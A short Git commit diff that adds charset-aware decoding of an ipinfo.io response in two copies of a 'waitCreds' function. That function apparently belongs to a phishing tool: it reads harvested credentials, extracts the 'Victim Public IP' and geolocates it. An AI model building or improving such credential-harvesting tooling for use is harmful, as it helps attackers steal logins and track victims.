Added HTTP response decoding

* Added HTTP response decoding

* Added HTTP response decoding for Termux
This commit is contained in:
Alexey Mozzhakov 2018-06-25 15:46:54 +03:00 committed by GitHub
parent 45cb06eb8b
commit 2e1238d1ba
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 4 additions and 4 deletions

View File

@ -151,8 +151,8 @@ def waitCreds():
lines = creds.read().rstrip()
if len(lines) != 0:
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
resp = urlopen('https://ipinfo.io/%s/json' % ip).read()
ipinfo = json.loads(resp)
resp = urlopen('https://ipinfo.io/%s/json' % ip)
ipinfo = json.loads(resp.read().decode(resp.info().get_param('charset') or 'utf-8'))
if 'bogon' in ipinfo:
print ('======================================================================'.format(RED, END))
print (' \n{0}[ VICTIM IP BOGUS ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines)

View File

@ -150,8 +150,8 @@ def waitCreds():
lines = creds.read().rstrip()
if len(lines) != 0:
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
resp = urlopen('https://ipinfo.io/%s/json' % ip).read()
ipinfo = json.loads(resp)
resp = urlopen('https://ipinfo.io/%s/json' % ip)
ipinfo = json.loads(resp.read().decode(resp.info().get_param('charset') or 'utf-8'))
if 'bogon' in ipinfo:
print ('======================================================================'.format(RED, END))
print (' \n{0}[ VICTIM IP BOGUS ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines)